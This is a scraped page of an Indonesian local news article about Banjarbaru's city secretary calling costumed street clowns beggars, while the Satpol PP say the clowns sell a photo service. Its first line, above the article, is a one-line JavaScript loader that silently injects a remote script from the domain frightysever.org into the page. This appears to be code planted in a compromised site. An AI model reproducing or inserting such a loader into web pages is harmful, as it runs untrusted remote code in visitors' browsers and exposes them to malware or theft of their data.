(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sekda : Badut Jalanan Sama Dengan Pengemis, Satpol PP Banjarbaru Sebut Penjual Jasa


BANJARBARU, Badut jalanan karakter animasi kartun favorit anak-anak seperti naruto, doraemon, boboiboy, mickey mouse, ipin upin dan lainnya di wilayah Banjarbaru mulai menjamur. Setidaknya terpantau sudah ada empat titik tempat badut jalanan karakter kartun itu mangkal, di depan kampus ULM, Jalan Komet, Taman Air Mancur dan di depan Museum Lambung Mangkurat.

Jengkel dengan semakin menjamurnya badut jalanan karakter kartu, Sekdako Banjarbaru H Said Abdullah meminta kepada instansi terkait untuk melakukan penertiban.

“Satpol PP dan Dinsos perlu menertibkan mereka,” kata Said Abdullah.

Sekdako Banjarbaru menganggap badut jalanan karakter kartun itu sama saja dengan pengemis. Hanya saja mereka menutupi kedoknya dengan cara mengenakan kostum badut.

Mereka biasanya sudah ada dari sore hingga tengah malam. Meski mereka tidak memelas kasihan dari warga, hanya dengan bermodal kostum badut karakter dan speaker music mereka berkeliling kota Banjarbaru mencari keramaian penduduk, mengajak warga untuk berselfie dan memberikan uang secara sukarela.

“Mereka sama dengan pengemis, mangkal di pinggir jalan dan menerima uang dari para pengguna jalan. Kalau dibiarkan menjadi masalah di kota Banjarbaru,” ujarnya.

Menurut Said Abdullah, Kota Idaman harus bebas dari pengemis. Karena kalau dibiarkan, jumlahnya akan terus bertambah. Maka dari itu, dia ingin instansi terkait menindak mereka.

“Tangkap para pengemis dan kembalikan ke asalnya,” pintanya.

Sementara itu, Kepala Satpol PP Banjarbaru Marhain Rahman melalui PPNS Yanto Hidayat mengaku, masih mempelajari status badut jalanan karakter kartun itu. “Mereka belum bisa disebut pengemis, karena ada jasa yang dijual,” katanya.

Jasa yang dijual para badut ialah mengajak berfoto masyarakat yang memberi mereka uang. “Mereka juga tidak mengganggu, jadi kita pelajari dulu apa dasar untuk menertibkan mereka,” pungkasnya.(devi)

Reporter: devi
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

DPRD Banjarbaru Target Tiga Raperda Inisiatif Selesai Dalam Tiga Bulan

KANALKALIMANTAN.COM, BANJARBARU - Tiga buah Rancangan Peraturan Daerah (Raperda) inisiatif ditargetkan selesai dalam waktu tiga… Read More

1 jam ago

Berbaur dengan Masyarakat, Bupati dan Wabup Banjar Nobar Indonesia Vs Uzbekistan

KANALKALIMANTAN.COM, MARTAPURA - Alun-alun Ratu Zalecha, Martapura dipilih menjadi tempat nonton bareng (nobar) Semi Final… Read More

5 jam ago

Diakhiri Nobar Timnas, Pj Bupati Kapuas Menutup Expo Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi secara resmi menutup gelaran Expo… Read More

8 jam ago

Bingkisan Kebahagiaan PLN untuk Warga Kalsel yang Membutuhkan

KANALKALIMANTAN.COM, BANJARBARU - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur (UIP3B) Kalimantan melalui… Read More

8 jam ago

Asa Warga Banjarmasin Timnas Indonesia Masuk Olimpiade Paris 2024

KANALKALIMANTAN.COM, BANJARMASIN - Nonton bareng (Nobar) laga semifinal AFC U-23 Indonesia vs Uzbekistan di halaman… Read More

8 jam ago

Ini Tiga Rekor Muri Sebagai Kado HUT ke-73 Kabupaten Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS – Tiga rekor Museum Rekor Indonesia (Muri) menjadi catatan kado Hari Jadi… Read More

8 jam ago

This website uses cookies.